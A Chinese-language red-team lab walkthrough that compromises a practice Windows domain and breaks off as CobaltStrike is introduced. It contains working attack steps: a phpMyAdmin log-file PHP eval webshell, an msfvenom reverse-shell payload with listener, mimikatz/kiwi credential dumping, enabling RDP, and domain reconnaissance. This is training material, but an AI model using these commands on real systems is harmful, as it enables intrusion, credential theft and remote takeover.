-

红队系列

0x01 环境配置

https://blog.csdn.net/jnszstmei/article/details/143832390

配置好的拓扑图,win7 作为服务器,Windows Server 2003 作为域成员主机,Windows Server 2008作为域控

image-20250330194348520

0x02 拿下服务器

因为我们现在重心在内网,所以外网服务器迅速过一下,访问一下发现是 yxcms 的站点

image-20250330195553710

我们可以百度打一下 yxcmsnday,这里dirsearch 扫一下服务器

image-20250330200049329

登录 phpmyadmin 后台,发现弱口令:root/root

搜一下 phpmyadmin 后台 getshell

image-20250330204748766

secure_file_priv为NULL,表示限制mysql不允许导入导出。

这里我们利用日志文件Getshell。phpmyadmin利用日志文件Getshell 执行以下命令

1
2
3
set global general_log=on; #开启日志
set global general_log_file='C:/phpstudy/www/yxcms/hack.php'; #设置指定文件为网站 日志存放文件
SELECT '<?php eval($_POST["cmd"]);?>' #执行该语句,会将该命令写入日志文 件中

成功拿下服务器

image-20250330205856673

0x03 内网后渗透

先看一下有什么信息

1
2
whoami
=> god\administrator

我们知道当前的用户身份是 administrator ,在管理员组中,并且处在域 god 中

1
ipconfig

执行后发现该主机有两张网卡,分别是 192.168.207.129192.168.52.143

1
2
3
4
5
6
7
8
9
10
11
12
13
net localgroup administrators
net localgroup获取和配置本地组或域组 这里查看一下本地管理员
=>
别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权

成员

-------------------------------------------------------------------------------
Administrator
GOD\Domain Admins
liukaifeng01
命令成功完成。

由此可知,其实获得的这个权限就是域管理员权限。

接下来我们运行msf,使用msf上线主机,如下所示

1
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.207.1  LPORT=9000 -f exe -o shell.exe

192.168.207.1 是我们的攻击机,我们将shell.exe通过蚁剑上传到靶机上去

image-20250330223837816

接着我们在攻击机上开启监听模式,持续监听连接

1
2
3
4
5
6
7
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.207.1
set lport 9000
options
run

我们用蚁剑运行exe文件,如下所示。

我们的攻击机成功上线windows7,进来后第一步肯定是提权到 system
这里直接是 administrator,所有可以直接 getsystem 提到 system,实战中还需要其他手段提权。

image-20250330235546266

获取账号密码:

  1. 导入账号,密码hash值:

    1
    2
    3
    4
    meterpreter > hashdump
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    Windows系统下的hash密码格式为:
    用户名称:RID:LM-HASH值:NT-HASH值
    NT-HASH hash生产方式:

    1. 将明文口令转换成十六进制的格式
    2. 转换成Unicode格式,即在每个字节之后添加0x00
    3. 对Unicode字符串作MD4加密,生成32位的十六进制数字串

    eg:用户密码为test123
    转换成十六进制的格式为74657374313233
    转换成Unicode格式为7400650073007400310032003300
    对字符串7400650073007400310032003300作MD4加密,结果为c5a237b7e9d8e708d8436b6148a25fa1

    导出hash

    1
    run windows/gather/smart_hashdump

  2. 加载kiwi模块

    这里尝试加载kiwi模块,获取不到账号密码(后来才知道mimikatz已经和并进kiwi了)

    1
    2
    load kiwi
    creds_all

    image-20250331010553147

  3. 加载 mimikatz 模块

    加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程,该进程也需要是system权限,这一步也叫进行权限维持,就是要将进程进行迁移,即将我们的shell.exe的进程附加在系统进程上。

    1
    ps

    image-20250331011231243

    1
    migrate 388

    kiwi 已经 和 mimikatz 合并

    1
    creds_all

    密码就出来了

    image-20250331011914262

    所以完整获取密码的步骤应该是启动 kiwi 就行了

    1
    2
    3
    4
    load kiwi
    ps
    migrate 388
    creds_all
  4. 远程桌面登录

    这里我们已经获得了administrator的账号和密码,现在我们既可以使用administrator账号登录,也可 以新建账号登录(hack/Password@)。(不建议直接用administrator身份登录,因为这样有可能会惊动管 理员)

    image-20250331014434443

通过nmap扫描发现该主机的3389端口呈过滤状态,由此猜想可能是防火墙将该端口过滤了

image-20250331014821340

于是执行以下命令开启3389端口

1
run post/windows/manage/enable_rdp

image-20250331014907662

image-20250331014934090

尝试3389远程登录该主机,但是弹出如果我们继续登录,则会断开该主机的当前连接。为了不惊动管理 员,这里我们不继续连接了。

image-20250331015310464

  1. 收集域内信息

    内网信息收集的主要目的就是查找域控以及域控内的其他主机

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    net view                 # 查看局域网内其他主机名
    net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
    net user # 查看本机用户列表
    net user /domain # 查看域用户
    net localgroup administrators # 查看本地管理员组(通常会有域用户)
    net view /domain # 查看有几个域
    net user 用户名 /domain # 获取指定域用户的信息
    net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
    net group 组名 /domain # 查看域中某工作组
    net group "domain admins" /domain # 查看域管理员的名字
    net group "domain computers" /domain # 查看域中的其他主机名
    net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)

    首先判断是否存在域,我们使用ipconfig /all查看DNS服务器,我们发现存在域god.org

    image-20250331020548903

接着我们使用net view /domain查看有几个域

image-20250331020644078

我们发现只有唯一一个域,接下来我们查看 域中所有域控制器,我们使用net group "Domain Controllers" /domain进行查询即可,我们可以查询到域控为owa

image-20250331021417439

我们接着查询所有域内主机,如下所示net view

image-20250331021442048

接着我们查询域内IP,使用arp -a进行查询

image-20250331021529418

为了确定哪个是域控主机IP,我们尝试去ping一下域名ping owa.god.org

image-20250331021712349

至此我们域内信息收集完毕

1
2
3
4
5
域名为 god
域中有三台主机:
stu1.god.org
root-tvi862ubeh.god.org 192.168.52.141
owa.god.org 192.168.52.138 域控主机

派生CobaltStrike权限

首先在CobaltStrike上开启一个监听